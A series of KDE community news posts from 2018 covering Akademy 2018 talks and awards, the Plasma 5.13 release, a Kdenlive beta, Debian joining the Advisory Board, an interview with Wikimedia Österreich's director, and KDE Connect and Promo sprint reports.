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Akademy 2018 Monday BoF Wrapup

staro 1 ura 16 min

Monday was the first day of Akademy BoFs, group sessions and hacking. There is a wrapup session at the end of the day so that what happened in the different rooms can be shared with everyone including those not present.

Watch Monday's wrapup session in the video below



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Monday BoF Wrapup video

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Akademy 2018 Day 2

Pon, 08/13/2018 - 08:33


Claudia Garad, Executive Director of Wikimedia Austria, reflects on the challenges of inclusivity.

Day 2 of Akademy started with a wonderfully insightful keynote by Claudia Garad, the Executive Director of Wikimedia Austria. She focused her talk on some of the challenges that organizations like hers face when trying to bring about more inclusivity and diversity within their communities.

She emphasized the importance of making underrepresented communities feel more welcome and heard within the organization, then went on to speak about how she perceived KDE as being quite ahead of Wikimedia in some aspects, especially when it came to reaching these goals.

One of the things she thought brought a positive vibe to the KDE community was that "KDE embraces cuteness", she said while displaying a slide with the "pile of Konquis" picture. On a more serious note, she said that through events such as Akademy, sprints and events around the world, you can bring together people from immensely diverse backgrounds and have them work towards building a stronger community.

Afternoon Talks

Speakers covered a wide variety of topics in the afternoon. Alan Pope from Canonical, for example, told us about Snapcraft, a web-based tool that makes it incredibly simple to build a Linux package out of code just pushed onto git. Meanwhile, Oliver Smith, the project lead of postmarketOS, spoke about the experimental phone OS based on Alpine Linux and plans for integration with Plasma Mobile.


Volker Krause showing off Plasma Mobile running on Yocto on a Raspberry Pi-powered device.

Meanwhile, David Edmundson was not only predicting where KDE's Plasma desktop would be going next, but also numbering the potential pitfalls it would have to avoid on its way getting there. One of the things in store for Plasma users is full browser integration.

Kai Uwe Broulik explained what is working (quite a lot), and how you will be able to control every aspect of your web browser with Plasma's integrated tools. Already working are controls for playback of videos and music on many popular sites using desktop widgets, including the likes of KDE Connect.

Talking of playing music, Camilo Higuita told us about the progress of VVAVE, a next generation audio player that is fully convergent (it integrates both with your Plasma desktop and on your mobile phone), and is but one part of Camilo's idea for an open audio streaming service.

Andreas Cord - Landwehr gave a talk on Yocto and how to use it to build images and SDKs and to create KDE-powered devices with Yocto. In a a similar vein, Volker Krause showed of a Raspberry Pi-based device running Plasma Mobile also on Yocto. The excitement of the KDE developers when it comes to running KDE software on mobile devices is electric and the audience was buzzing during these talks.

The day ended with Sponsor Talks by BlueSystems, Canonical, openSUSE, Red Hat, CodeThink, and Mycroft.

Akademy Awards


From left to right, Valorie Zimmerman, David Edmundson, and Aditya Mehra with their own awards and those that couldn't attend.

Finally, there were the Akademy Awards ceremony. The Akademy Awards are a way of honoring members that have done outstanding work for the benefit of the whole community.

The Application Akademy award went to Aditya Mehra for their work on the Mycroft integration providing KDE with a free speech assistant which is free as in freedom .

The Non-Application Akademy Award went to Valorie Zimmerman for for their work driving KDE's mentoring programs and the Community Working Group, and being one of KDE's good souls

There were three Jury awards this year they went to Sebastian Kügler for for their many years of relentless hacking and more (Plasma, KDE Marketing, years in the KDE e.V. Board), David Edmundson for their work on Telepathy, porting applications to Frameworks 5, Plasma, KWin, KWayland, and being the crazy guy around and to Mario Fux for supporting KDE over many years through organizing the Randa meetings.

The Akademy Team were thanked with the Organizational Award to Stefan Derkits and the whole team responsible for putting together Akademy 2018.

Congratulations to the winners and thank you for being so awesome!

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Akademy 2018 Day 1

Ned, 08/12/2018 - 12:45


Lydia Pintscher, President of KDE e.V. opens this year's Akademy.

Akademy 2018 got off to a wet start with rains accompanying all attendees pouring into Vienna for KDE's largest annual community conference. Although the Pre-Registration event was held on Day Zero (Friday the 10th) and it was a fun-filled affair, Akademy kicked off in earnest on Saturday, with talks, panels and demonstrations. Read on to find out about Day 1 of Akademy and all that transpired:

Keynote: Mapping Crimes Against Humanity in North Korea with FOSS

Dan Bielefeld, the Technical Director of the Transitional Justice Working Group, explained the work they do to map North Korean locations of mass burial and execution sites using mapping technologies. He also delivered insight into how North Korea and the Kim regime operates, and how his organization gleans information both from interviews with refugees and from studying satellite imagery.


Dan Bielefeld talks about how the Transitional Justice Working Group tries to shed light on North Korea's crimes against humanity.

Although the topic of the suffering of North Koreans is grim, there is a silver lining, says Dan: One day there will be a transition, there will come a day when the Kim regime will end and North Koreans will regain the freedom that they have been denied for over 70 years. The work of the Transitional Justice Working Group will also help with that. Finding out what happened to loved ones and bringing those responsible for the atrocities to justice will be a crucial part of helping the nation heal.

And it makes sense, says Dan, for the Transitional Justice Working Group to work with both Free Software and Free Software communities. The software offers the group a degree of security and control they cannot find in closed source applications; and Free Software communities uphold the same values Dan's group is fighting for, that is, the right to privacy and personal freedom.

Privacy Panel

Quite appropriately, after Dan's keynote, Adriaan de Groot ran a panel where members discussed the matter of privacy. Developing privacy-respecting software is one of KDE's main goals and the panelists explained how developing free and open Personal Digital Assistants like Mycroft was crucial to protecting users from snooping corporations.

Another thing we rarely think about but is a source of concern with regard to personal information is trip planners. In actual fact, the amount of sensitive information that we unwittingly share by letting opaque apps tell us when and where to catch our flight is staggering. Since the 2017 Randa sprint, there are KDE developers actively working on a truly open and private solution that will help solve this problem.

The other thing the panel discussed was the state of GnuPG in Kmail. GnuPG is the framework that allows users to encrypt and decrypt email messages that, otherwise, would be sent in clear text -- a big privacy concern. At this stage of play, GnuPG is tightly integrated into Kmail and, is not only convenient for end users, but has also proved to be immune to recent vulnerabilities that have affected other email clients.

Combined with the underlying policy of all KDE apps of never collecting data subvertly or otherwise, KDE is sticking strictly to its goal of preserving user privacy.

Streamlined onboarding goal

Neofytos Kolokotronis talked about the progress of another of KDE's main goals, namely the onboarding of new users. Neofytos explained to attendees the progress the working group had made so far and where they wanted to go to. He had some advice on how to help new users join KDE, such as having good and clear documentation, mentoring new contributors, and building connections outside your immediate niche.

More Highlights from Day 1

Wrishiraj Kaushik in his talk titled Winds of Change - FOSS in India spoke about the current scenario of FOSS in India and his experience leading SuperX and integrating KDE with it.

The Indian union government has a nation-wide recommendation in place for the use, promotion and development of Free and Open Source software. Despite this, FOSS adoption has remained low in the country. The decision taken by some state governments to not adopt these recommendations in conjunction with the aggressive marketing carried out by proprietary software vendors in India has seriously hindered the use of Free Software. SuperX, however, has managed to find a place within the government and a few Indian universities thanks to its user-centric approach. SuperX has deployed 30,000 KDE shipments -- one of the largest deployments in the world, and there are 20,000 more in the works.

This was followed by a panel discussion by Lydia, Valorie and Bhushan in which they told the community about our KDE student programs and how to contribute to their running and up-keep. It was a talk of high relevance, given our KDE Community goal to streamline the onboarding process for new contributors and the fact that a large part of our new contributor base comes through our organized mentoring programs, namely Google Summer of Code, Google Code-in and Season of KDE.

Mirko Boehm presented a talk on the genesis of Quartermaster, a toolchain driven by Endocode and supported by Siemens and Google. Quartermaster implements industry best practises of license compliance management. It generates compliance reports by analysing data from the CI environment and building graphs for analysis, primarily performing a combination of build time analysis and static code analysis.


Lays Rodrigues showed off Atelier, the graphical interface for 3D printers..

Lays Rodrigues talked about Atelier, a cross-platform program designed to help you control your 3D printer. It supports most printers with open source firmware and Lays demoed the various features of Atelier during her talk, including video monitoring of the printer, 3D preview of the print design, temperature graphs and more.

Zoltan Padrah gave a talk on KTechLab and explained how he discovered it as a student of electronics engineering in 2008. KTechLab is a program that helps simulate electronic circuits and programs running on microcontrollers. It was migrated to the KDE infrastructure and joined KDE in 2017. The developers' upcoming plans are to release KTechLab for Qt4 and Qt5 and to port it to KDE Frameworks 5, as well as add new features like support to simulate automation systems for mechanics and have KiCad import/export.

Wrapping up

Day one was so full of content, it is hard to summarize everything that went on here. This has just been a summary of a few of the talks and demonstrations we enjoyed. There were many more talks on all topics, ranging from containerizing KDE's graphical apps, to an end users' perspective of using Kontact in a professional environment.

As we write this, already on day 2, it looks like today is shaping up to be equally exciting.

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The State of Akademy Sponsorship

Tor, 08/07/2018 - 07:22

Photo by rawpixel. Licensed under CC0 license.

Akademy 2018 is less than a week away. Apart from meeting up again with friends and colleagues, the KDE community has another reason to be joyful: this year we have broken the record for the number of sponsors for the event. Although there have been many sponsors of Akademy over the years, never have there been so many at one time.

Eike Hein, Treasurer of the KDE e.V. board, believes that the extra influx of sponsors is thanks to "KDE software being loved again." Eike points out that Plasma is reaching more kinds of devices every day, attracting larger communities and more hardware manufacturers -- some of which will be at Akademy this year. KDE applications are also becoming more mainstream and reaching larger audiences. Krita and Kdenlive, for example, are making inroads within the community of graphical artists, raising awareness of KDE in a whole new sector of end users. Kirigami is becoming the go-to framework for projects that need convergence on desktop and mobile devices.

"I would also attribute the increase in support to the fact that KDE actively engages with partners" says Eike. A case in point is the Advisory Board. The Advisory Board makes organization-to-organization interaction more rewarding and helps build a stronger network of like-minded Free Software associations and companies. Through the Advisory Board, KDE can better reach and support larger communities, which in turn reinforces KDE's position within Free Software.

About Akademy

For most of the year, KDE -- one of the largest free and open software communities in the world-- works on-line by email, IRC, forums and mailing lists. Akademy provides all KDE contributors the opportunity to meet in person to foster social bonds, work on concrete technology issues, consider new ideas, and reinforce the innovative, dynamic culture of KDE. Akademy brings together artists, designers, developers, translators, users, writers, sponsors and many other types of KDE contributors to celebrate the achievements of the past year and help determine the direction for the next year. Hands-on sessions offer the opportunity for intense work bringing those plans to reality. The KDE Community welcomes companies building on KDE technology, and those that are looking for opportunities.

This year, Akademy will be held in Vienna, Austria, from the 11th to the 17th of August. You can join us by registering on the event's website.

For more information, please contact the Akademy Team.

Debian Joins KDE's Advisory Board

Čet, 07/12/2018 - 01:00
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The Debian community meets at Debconf 6 in Mexico. Photo by Joey Hess, licensed under CC By 4.0.

Since the KDE Advisory Board was created in 2016, we have been encouraging more and more organizations to join it, either as patrons or as non-profit partner organizations. With Ubuntu (via Canonical) and openSUSE (via SUSE) we already had two popular Linux distributions represented in the Advisory board. They are now joined by one of the biggest and oldest purely community-driven distributions: Debian.

KDE has a long-standing and friendly relationship with Debian, and we are happy to formalize it now. Having Debian on our Advisory Board will allow us to learn from them, share our experience with them, and deepen our collaboration even further.

As is tradition, we will now hand over the stage to the Debian Project Leader, Chris Lamb, who will tell you a bit about Debian and why he is happy to accept our invitation to the Advisory Board:


Chris Lamb.Debian is a stable, free and popular computer operating system trusted by millions of people across the globe, from solo backpackers, to astronauts on the International Space Station, and from small companies, to huge organisations.

Founded in 1993, Debian has since grown into a volunteer organisation of over 2,000 developers from more than 70 countries worldwide collaborating every day via the Internet.

The KDE Plasma desktop environment is fully-supported within Debian and thus the Debian Project is extremely excited to be formally recognising the relationship between itself and KDE, especially how that will greatly increase and facilitate our communication and collaboration.

Kdenlive: "Test our beta, test the future"

Čet, 07/05/2018 - 07:40

Kdenlive version 18.08 beta.

The Kdenlive project is calling on their users to test a refactored version of their full-featured and Free Software video-editing application.

Apart from re-writing a lot of the internals to clean up the code and make Kdenlive more efficient and easier to stabilize, this beta adds a bunch of new and interesting features. For example, the video and audio from clips are now automatically separated when dropped in the timeline, the slow motion effect now works and insert/lift/overwrite should also work reliably. Another thing you can do is install new keyboard layouts with one click. This means that, if you are coming from another video-editing software and relied on its shortcuts, you can still be equally productive with Kdenlive. For a full list of the new features in Kdenlive 18.08 Beta 17, take a look at the article on the projects site.

You can also be part of improving Kdenlive: Head over to Kdenlive's download page, download the Appimage, make it executable, run it and try editing some of your projects. Make a note of what doesn't work or misbehaves and send in a bug report.

Hey presto! You just helped make Kdenlive better!

A word of warning: Kdenlive version 18.08 beta 17, as its name implies, is beta software. It is not stable and some features will not work. Do not use this as your main production video-editing software. Also do not overwrite any important project files with files produced with the beta version of Kdenlive, since compatibility with older versions of Kdenlive is a known issue.

You can download and start using the latest stable version of Kdenlive from here.

The KDE e.V. Community Report for 2017 is now available

Čet, 06/28/2018 - 01:00

KDE e.V. board at their autumn sprint.

If there is one document you want to read to discover what KDE has been up to and where we are right now, this is the one.

KDE's yearly report gives a comprehensive overview of all that has happened during 2017. It covers the progress we have made with KDE's Plasma desktop environment; Plasma Mobile (KDE's graphical environment for mobile devices); and applications the community creates to stimulate your productivity, creativity, education, and fun.

The report also looks at KDE's activities during 2017, giving details on the results from community sprints, conferences, and external events the KDE community has participated in worldwide. It also covers what is probably the most important community milestone of 2017: defining and agreeing on what are the most important global goals, goals that will direct the efforts of KDE community members for years to come.

You can also find out about the inner workings of KDE e.V., the foundation that legally represents the community. Check KDE's financial status and read up about the KDE e.V. board members, the different working groups, the Advisory Board, and how they all work together to keep KDE moving forward.

Read the full report here.

Plasma 5.13, a new version of KDE's desktop environment, is here

Sre, 06/13/2018 - 07:46

Optimized and less resource-hungry, Plasma 5.13 can run smoothly on under-powered ARM laptops, high-end gaming PCs, and everything in between.


Control play back, rewind and volume even if your browser is not visible.

Feature-wise, Plasma 5.13 comes with Browser Integration. This means both Chrome/Chromium and Firefox web browsers can be monitored and controlled using your desktop widgets. For example, downloads are displayed in the Plasma notification popup, so even if your browser is minimized or not visible, you can monitor the download progress. Likewise with media playing in a tab: you can use Plasma's media controls to stop, pause and silence videos and audio playing in any tab – even the hidden ones. This a perfect solution for those annoying videos that auto-start without your permission. Another Plasma-browser feature is that links can now be opened from Plasma's overhead launcher (Krunner), and you can also send links directly to your phone using KDE Connect.

Talking of KDE Connect, the Media Control Widget has been redesigned and its support of the MPRIS specification has been much improved. This means more media players can now be controlled from the media controls in the desktop tray or from your phone using KDE Connect.


Blurred backgrounds bring an extra level of coolness to Plasma 5.13.

Plasma 5.13 is also visually more appealing. The redesigned pages in 5.13 include theming tools for desktops, icons and cursors, and you can download new splash screens from the KDE Store directly from the splash screen page. The desktop provides a new and efficient blur effect that can be used for widgets, the dashboard menu and even the terminal window, giving them an elegant and modern look. Another eye-catching feature is that the login and lock screens now display the wallpaper of the current Plasma release, and the lock screen incorporates a slick fade-to-blur transition to show the controls, allowing it to be easily used as a screensaver.

Discover, Plasma's graphical software manager, improves the user experience with list and category pages that replace header images with interactive toolbars. You can sort lists, and they also show star ratings of applications. App pages and app icons use your local icon theme to better match your desktop settings.

Vaults, Plasma's storage encryption utility, includes a new CryFS backend, better error reporting, a more polished interface, and the ability to remotely open and close vaults via KDE Connect.

Connecting to external monitors has become much more user-friendly. Now, when you plug in a new external monitor, a dialog pops up an lets you easily control the position of the additional monitor in correlation to your primary one.

Want to try Plasma 5.13? ISO images for KDE neon will probably be available tomorrow or on Friday. Check out our page with links to Live images to download the latest.

We look forward to hearing your comments on Plasma 5.13 - let us know how it works for you!

Full announcement.

Claudia Garad, Executive Director of Wikimedia Österreich: "We want to create a welcoming atmosphere for newcomers"

Tor, 05/29/2018 - 01:00


Claudia Garad, Executive Director of Wikimedia Österreich. Photo by Stepro.

Claudia Garad is the Executive Director of Wikimedia Österreich, Wikipedia's Austrian chapter. Claudia will deliver Akademy's second keynote on Sunday, 12th of August.

Claudia graciously met up with us (Ivana and Paul) to tell us all about her job, how the Wikipedia community works and the challenges it faces.

This is what she told us:

Paul: Welcome, Claudia, and thank you for joining us!

Claudia: Thanks for having me :-)

Ivana: Hello Claudia!

Paul: So you are the Executive Director of Wikimedia Foundation Austria, correct?

Claudia: Correct. Since 2012. It's actually called "Wikimedia Österreich". The Foundation is only the organization in San Francisco

Paul: Thanks for the clarification. Tell us... What led you to this job? Did you do something similar before?

Claudia: I used to work as Head of Marketing and Communication for a major applied science organization in Germany. We were pioneers in the field of online science communication in the German-speaking world. Beyond the focus on online communication, I think the common denominator of those two jobs is making knowledge accessible.

Paul: Of course. What does a typical day at Wikimedia look like for you? What do you do there?

Claudia: I'm not sure I have a typical day. We work closely with volunteers, so our working hours vary. We often work in the evenings or on weekends when our Wikimedians are available. I also not only work from our office, but frequently remote when I travel for work.

Paul: So do you oversee their work? Make sure the rules for editing articles are respected? Organize events? All of the above?

Claudia: Wikimedia staff does not intervene into the work on the Wikimedia projects. The community decides about the rules and how to enforce them; we do not have any direct influence there.

But the task that follows me everywhere and at any time is to secure funds for our organization, i.e. fundraising, grant-making and reporting. Apart from that, one of my main tasks is to build partnerships within the Wikimedia movement, but also beyond. With like-minded communities, cultural institutions, potential donators, and so on.

Ivana: I take it that you face the challenge of working with people from different time zones. Could you share some advice or tools that you use to overcome scheduling issues?

Claudia: I don't think we have super-innovative approaches in that regard. For us in Austria, it's mainly Europe and the US so far, and we found the time slots that work for most. I think the Wikimedia Foundation has probably more refined ideas, as they work with a more diverse group, but I wouldn't know the details.

Paul: Talking of diverse, I understand you also deal with diversity and inclusion issues. How do you promote these two things?

Claudia: Due to our "hands off" approach, we can only deal with diversity and inclusion issues indirectly: by raising awareness for the topic, encouraging mentorship, fostering solidarity networks among volunteers, and providing incentives and support for all of that. One example is the mentoring program we developed for the Wikimedia Hackathon last year. We wanted to create a welcoming atmosphere for newcomers that is reflected in the physical space, as well as in the social interactions.

Paul: Is there a lack of diversity within the Wikipedian community?

Claudia: It always depends on the definition of diversity, and it varies between our communities. Speaking for our Austrian communities: it is diverse in some regards, like age, and not very diverse in other, such as gender or ethnical background.

Paul: So do you know what percentage of women Wikipedians versus men there are, for example? The percentage for each ethnicity? Is this information you collect?

Claudia: There are roughly 10% female contributors in the German-language Wikipedia, and that reflects what I see during offline events. Non-binary is probably around 1-2%. But the numbers are not all 100% accurate, as many volunteers choose not to disclose their gender, and we respect their wish for anonymity. That is even more true for ethnicity - we do not ask for that anywhere. This is what you can get from the information people provide on their user pages. Apart from that, we do not collect any personal data.

But there are other ways to make the diversity gaps visible: by comparing the number of biographies about females to the number of articles about men. Wikidata makes that really easy nowadays. Or by looking at the language and perspectives that are represented in articles. It becomes obvious very quickly that we have a problem there, and that should be fixed if we strive to collect "the sum of all human knowledge" as our vision statement says.

Paul: How do you solve this problem? Getting back to the activity you mentioned before, for example - how do you make a hackathon more welcoming? What do you physically do?


Wikipedia Hackathons implement special activities and spaces to encourage diversity. Photo by Clemens, CC BY-SA 3.0.

Claudia: For the first time we had mentors at such an event. Their only job was to help newcomers and to pair them with other newcomers according to common interests. Usually the mentors had project ideas that were suitable for newbies to get started. The aim was that every newcomer could be part of a team that accomplished something during the weekend, and to be able to present a project at the showcase on the last day.

To make it as easy as possible to approach people, we also had a mentoring area where people could come at any time to ask questions or get help. Our Austrian community held pre-events, so people could get to know each other in smaller, more intimate surroundings before they were thrown into an international event with 250 strangers. Finally, we had an outreach coordinator who facilitated the mentor-to-mentor and mentor-to-mentees exchange before, during, and after the event.

Other ways to make event spaces inclusive are gender-neutral bathrooms, designated "quiet zones" where people can retreat to when they need a break from social interaction, stickers to customize your name badge with information about yourself that can also include how you want to be addressed in terms of gender, etc.

Many of these ideas were adapted from a youth hack event called "Jugend Hackt" that is a project of Open Knowledge in Germany and Austria.

Ivana: It sounds like you're really taking care of new contributors, which is awesome! It's something we're trying to be better at in our community, too. Could you tell us a bit about the onboarding process - what does it look like when someone new wants to join and start contributing? Are there any "best practices" or recommended ways to get started?

Claudia: We learned that the best way to onboard newcomers is regularity; it's hard to achieve much with a single event. So having mentors beyond the event helps, or having regular events or follow-up events, where people can come back to when they encounter barriers. It can be further assisted with social media - chat groups and the like. Places where people can find help and advice on short notice online.

Ivana: Have you had any students or new contributors join Wikimedia Österreich through mentorship projects like Outreachy, Google Summer of Code or similar? Do you organize similar programs on a local scale, i.e. in the German-speaking communities?

Claudia: We have had newcomers join via local mentoring programs, but not via the global programs you mentioned.

Ivana: Do you have something like a list of "junior jobs" or easy tasks that newcomers can immediately tackle? Or if you've tried a similar approach in the past, can you tell us how that worked?

Claudia: We tried the easy task list for the Wikimedia Hackathon last year. The list was linked from the event page so people could check it out beforehand. Apart from that, there were also other tasks to help around the event that were not related to coding: writing blog posts, making a podcast, taking pictures, helping the organizers on site...

Ivana: Getting back to the topic of helping newcomers, you mentioned potential barriers they can encounter. In your experience, what are the most common barriers, or obstacles that newcomers have reported? And how have you worked on resolving them?


Claudia takes part in the "Internet Policies and Activism in Europe" panel at the Elevate Festival 2016.

Claudia: I think for most newcomers the hardest part is to see where they could help and how. So the task list and mentors can help with that. However, we also still have room for improvement: After the hackathon, many newcomers complained about how long it took to get a code review. Often keeping people engaged after an event is the hardest part. For newcomers and mentors alike.

In the end, it is a question of resources. If we want new people, and especially underrepresented people, we will have to invest resources into this endeavour. Half-assed approaches usually don't work in the long run, and I'm afraid that this is something we still have to internalize as a movement.

Paul: What about problems from the old-timers? Is there any resistance from the existing community towards the effort to promote more diversity?

Claudia: Of course there are parts of the community who are indifferent, and some who openly work against such topics. So the art is to find the people who support the idea and include them, to address justified concerns, and ignore, or if there is no other way, get rid of people that display toxic behavior.

Paul: What sort of problems do you see a lack of diversity causing?

Claudia: For Wikipedia it is clear: the sum of all knowledge can not be gathered and represented by a small homogeneous group. Furthermore, quality and objectivity of knowledge are also important values in our movement that can only be achieved by including diverse perspectives.

Paul: For somebody who wanted to join in the Wikipedia effort... What advice would you give them? What should they read? Where can they start?

Claudia: Most Wikipedias have extensive guides on how to get started. Too extensive sometimes :-). I would see whether there is a mentoring program on your Wiki project and sign up, or whether there are local Wiki meet-ups in your home town. In Vienna, for example, we have a Wikipedia clinic for newcomers every first Tuesday of the month.

Paul: A Wikipedia clinic! What do you do there?

Claudia: It's basically where you can come to discuss and find help for common problems. I think there are code clinics at some events too. It's a peer approach to exchange best practices around common issues or challenges.

Paul: Is there a trend? Like problems that new contributors come up with again and again? If so, what are they?

Claudia: I think the challenges for newcomers vary between the projects. In the German language Wikipedia, the biggest issues are certainly the complexity that results from an elaborate rule set to ensure quality of content; the fact that most topics of general knowledge are fairly well covered so you need to find your expert niche to contribute; and the often not very newcomer-friendly atmosphere and aggressive interactions.

Paul: I suppose people feel possessive about what they work on. Is there any sort of regulatory body that helps resolve disputes or reprimands antisocial behavior?

Claudia: There are community-elected arbitration committees to solve conflicts on projects. But in some cases, especially when there is also offline harassment involved, the Wikimedia Foundation has to take steps to ban those people from events, the projects, or both in order to protect others.

Paul: I guess it is normal that in such a big community you will have all sorts of people...

Moving on to happier topics. Apart from actually writing or expanding Wikipedia articles, what are other things contributors can do to help Wikipedia grow and thrive?

Claudia: Other ways to contribute to Wikipedia are to help build the software behind MediaWiki, or to take freely licensed pictures for Wikipedia & Co and upload them to Wikimedia Commons. There are also all the other sister projects such as Wikivoyage, Wiktionary, or Wikidata.

Paul: I guess donations also help, right? Where can we go and donate?

Claudia: Of course - to keep Wikipedia ad-free and independent, that is probably the easiest way to contribute. You can either donate to the Wikimedia Foundation, that distributes the money among the global communities or, if there is one, to your local Wikimedia organisation.

Paul: Claudia, thank you so much for your time.

Ivana: And we look forward to your keynote at Akademy!

Claudia: Thanks! Looking forward to meeting you in person!

Claudia will be delivering the keynote at Akademy 2018 on the 12th of August. Come to Akademy and find out live how you too can make your community more diverse and inclusive.

About Akademy

For most of the year, KDE -- one of the largest free and open software communities in the world-- works on-line by email, IRC, forums and mailing lists. Akademy provides all KDE contributors the opportunity to meet in person to foster social bonds, work on concrete technology issues, consider new ideas, and reinforce the innovative, dynamic culture of KDE. Akademy brings together artists, designers, developers, translators, users, writers, sponsors and many other types of KDE contributors to celebrate the achievements of the past year and help determine the direction for the next year. Hands-on sessions offer the opportunity for intense work bringing those plans to reality. The KDE Community welcomes companies building on KDE technology, and those that are looking for opportunities.

You can join us by registering for Akademy 2018. Registrations are now open.

For more information, please contact the Akademy Team.

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2018 KDE Connect Development Sprint

Pon, 05/28/2018 - 01:00

Between the 23rd and 25th of March, KDE Connect developers gathered in Verse's offices in Barcelona to work together for a weekend. It was the first meeting KDE Connect had in a while, and it was very productive!

It's been some time since the sprint, and the work carried out there has already started to trickle down into our devices. Nevertheless, we wanted to shed some light on our accomplishments, and encourage everyone to participate.

Holding discussions and making decisions is much easier in person. We kicked off the sprint by going through our backlog of ideas to decide what was worth implementing. That helped us set the focus for the sprint and resume some blocked tasks.

One of the most requested features for KDE Connect is the ability to send SMS from the desktop. We already supported SMS to a certain degree with the ability to reply to a message. Some people have even set up Kontact to be able to send texts using KDE Connect from there, but it can be annoying to use without conversation history. During the sprint, Simon and Aleix started working on a fully-featured interface for sending SMS easily from the desktop that includes full conversation views and a full contact list.

Aleix and Nico polished the Run Commands interface to make it more discoverable, so that we can easily configure KDE Connect to do anything we want.


You can now see album art
in your phone's lock screen.

Matthijs improved the functionality of multimedia controls - now it's possible to display the album art from your desktop on your Android devices (both on the lock screen and in the new multimedia notification). Meanwhile, Aleix and Nico started paving the way towards better integration with PulseAudio control, sharing some code between KDE Connect and the Plasma volume control.

A less visible but crucial part of what makes KDE Connect so useful is its integration with the system. Albert Vaca worked on a KDE Connect plugin for Nautilus, so people who don't use Plasma and Dolphin can also have a great user experience.

Another very important but often-overlooked task is documentation. Matthijs invested some time in improving the onboarding process for new contributors. Hopefully we'll get more people involved in the future!

Last but not least, we fixed some ugly bugs during this sprint. Albert Astals fixed a long-standing crash in KIO, the KDE Framework used by KDE Connect for transferring files. Simon and Albert Vaca took care of some compatibility problems with Android Oreo, while Matthijs fixed a connectivity issue and even made some progress on Bluetooth support.

All in all, the sprint was a pleasant event, and I'm really happy we all got together. It was nice to meet the developers working on KDE Connect, to connect faces with nicknames, and generally agree on a common path we will follow in future development.

Big thanks to KDE e.V. for sponsoring the travel - without their help, this sprint wouldn't have been possible.

Don't forget: you too can help KDE Connect by donating to KDE!

Story written by Albert Vaca, creator of KDE Connect.

Promo Sprint Report: What We Did and How You Can Help Us

Pet, 05/25/2018 - 01:00

February was a big month for the Promo team - we held a long-awaited sprint in Barcelona, Spain from the 16th to 18th. The aim of the sprint was to look at information we had collected over the prior years, interpret what it meant, and use it to discuss and plan for the future. The activities we came up with should help us accomplish our ultimate goal: increasing KDE's visibility and user base.

Nine members of the team made it to Barcelona: Aleix Pol, Ivana Isadora Devčić, Jure Repinc, Kenny, Łukasz Sawicki, Lydia Pintscher, Neofytos Kolokotronis, Paul Brown, and Rubén Gómez. We met at Espai 30, an old factory converted into a social center for the neighborhood. Coincidentally, that is one of the places where the Guifi.net project started -- rather fitting for a meeting that comprised Free Software and communication.

Day 1: Informal Afternoon Meeting

Although Friday was "arrival day" without an official agenda, we could not resist talking shop over pizza and beer. Discussions gravitated towards the KDE.org website, which will be migrated from an old and clunky backend to a Wordpress framework. The improvement to the framework got us thinking on how we could improve the content, too.

The consensus was that we want to inform the general public about what KDE is - not a desktop, but the community that creates, maintains, documents, translates, and promotes a large body of multi-purpose software. Our software collection does include a desktop environment, but it also offers utilities, games, productivity applications, media players and editors, an environment and applications for mobile phones, development frameworks, and much more.

We should also make sure the website caters equally to the tech savvy and unsavvy, since KDE's software is meant for everybody. The new site should clearly direct users to our products, allowing end users to simply download and use them. At the same time, the website should ease the way for potential contributors to join the community.

Day 2: Espai 30, Stats stats stats, and Improved Communication

At the break of dawn the next day... well, actually, at 10 o'clock, sprint sessions started in earnest. Ivana gave a recap of Promo's main activities over the last year or so, revisiting funding campaigns we promoted and communication tactics we implemented.

Next we looked at hard, cold data, collected from social media accounts, web statistics, and distro popcons (application popularity contests). The bad news is that visits to our main sites have gone down over the last year. The good news, however, is that followers and interactions on social media have seen a significant increase. Although data collected from popcons are partial, it also looks like Plasma's user base is growing steadily.

*/ Want to help us with data-collecting and processing, or have ideas about where we can collect more useful information? Send your suggestions to our mailing list and we'll look into it.


Paul made the team look at bar charts
for the better part of an hour.

The data also helps us pinpoint wins and fails in our approach to communicating with the outside world. We found a direct relation between the traffic to our news site (dot.kde.org) and to the main kde.org website. Therefore it makes sense to seriously work on increasing the traffic to kde.org first, in order to improve the visibility and effectiveness of our announcements and campaigns. We also identified ways to make our social media posts more attractive, which should help them garner more re-tweets, boosts (the equivalent of re-tweets in Mastodon), shares and upvotes, and spread our messages further.

Another way of reaching more people is through events. We discussed Akademy and our plans for promoting the 2018 edition before and during the event, so that news coming out of Vienna in August can reach as many people as possible.

We also talked about visiting other technical and even not-so-technical events. By showcasing our applications and letting users play with them, we think we will be able to increase our user base. In any case, we need to be well-prepared for all types of conferences, so we made a list of essentials based on our previous experiences.

We noticed that even within the FLOSS community, there is a large portion of businesses, organizations and developers who are unaware of technologies that KDE develops. Speaking and setting up booths at technical, but non-KDE/Qt events (like the upcoming Embedded Linux Conference organized by the Linux Foundation), could help solve this problem and even attract contributors for KDE.

*/ Do you have suggestions for events we should attend? Join the Attend External Events task and tell us about them.

This brought us to the discussion on how Promo can help with the long-term community goals, especially the goal of streamlining the onboarding of new contributors.

One of the things we have started doing, for example, is creating a list of simple tasks for beginners. We are also trying to identify where people struggle in the process of joining Promo, and working on eliminating obstacles. On a more one-to-one basis, we want to be able to identify people's skills so we can direct them to teams they can join. This was one of the topics we tackled during the last day of the sprint.

Day 3: Teams, Market Research, and Publicity Stunts

We already noticed there are wide variety of jobs for our team, and agreed it would be more efficient to classify them and assign them to smaller groups of people with the best skills to carry them out.

For example, we'd like to have a smoother communication channel with developers, so that we can better understand their work and advise them on how to promote it. The best way to do this, we thought, would be to recruit developers already in the Promo group as liaisons with their colleagues.

Likewise, experienced YouTubers and videographers can create promotional videos for product releases; journalists and editors can write or help improve blog posts and news articles; and people with a background in marketing can use their knowledge to do some serious market research.

That last thing is important because the Promo team must discover what technologies people use, how they use them, and what they like and dislike about them to be able to market KDE products. We decided to take a step back and work on a market research project that will provide us with solid information on which to base our actions.

*/ Got experience in marketing? Join the effort!

At the same time, we can entice people to use Plasma and KDE applications with straightforward advertising, or rely on the more subtle art of product placement. Regarding the former, we looked at publicity stunts that had helped other community projects in the past, like full page ads in prominent newspapers, or messages on public transport. For example, ads at bus stops in university areas may help encourage students join the community.

*/ Got an idea for advertising campaign which is both effective and cheap to carry out? Share it with us!

As for the latter, it turns out that TV shows and movies sometimes have a hard time when they want to show a flashy computer or mobile device interface. Because they can be endlessly customized, Plasma, Plasma Mobile and the applications that run on them are perfect candidates for the likes of The Blacklist, CSI Cyber, Mission Impossible 7... Okay, maybe we will have to start more modest, but remember that KDE tech was already featured on Mr Robot, albeit as the choice of the villain.

